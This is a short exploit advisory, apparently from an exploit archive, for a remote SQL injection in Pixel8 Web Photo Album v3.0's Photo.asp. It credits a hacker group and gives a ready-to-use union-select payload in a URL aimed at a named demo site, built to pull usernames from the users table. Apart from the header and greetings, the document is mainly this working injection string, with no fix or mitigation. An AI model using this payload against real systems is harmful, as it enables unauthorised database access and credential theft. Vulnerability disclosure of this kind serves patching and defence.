Pixel8 Web Photo Album version 3.0 suffers from a remote SQL injection vulnerability in Photo.asp.
216c90ada96a69d20a33e8fcf5b8df97###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################
#Found By : AlpHaNiX
#website : www.nullarea.net
#contact : AlpHa[AT]HACKER[DOT]BZ
###########################################################################
#script : Pixel8 Web Photo Album v3.0
#download : null
#Demo : http://www.jayeshp.com/Pixel8/Files/Demo.asp
###########################################################################
#Exploits :
--=[SQL INJECTION]=--
http://www.jayeshp.com/Pixel8/Demo/Files/Photo.asp?Index=1&NEXTPID=1149&OSet=0&UPDEL=Yes&AlbumID=4+and+1=0+union+select+username,username,3+from+users
#Greetz For NullArea members
###########################################################################
Comments
No comments yet, be the first!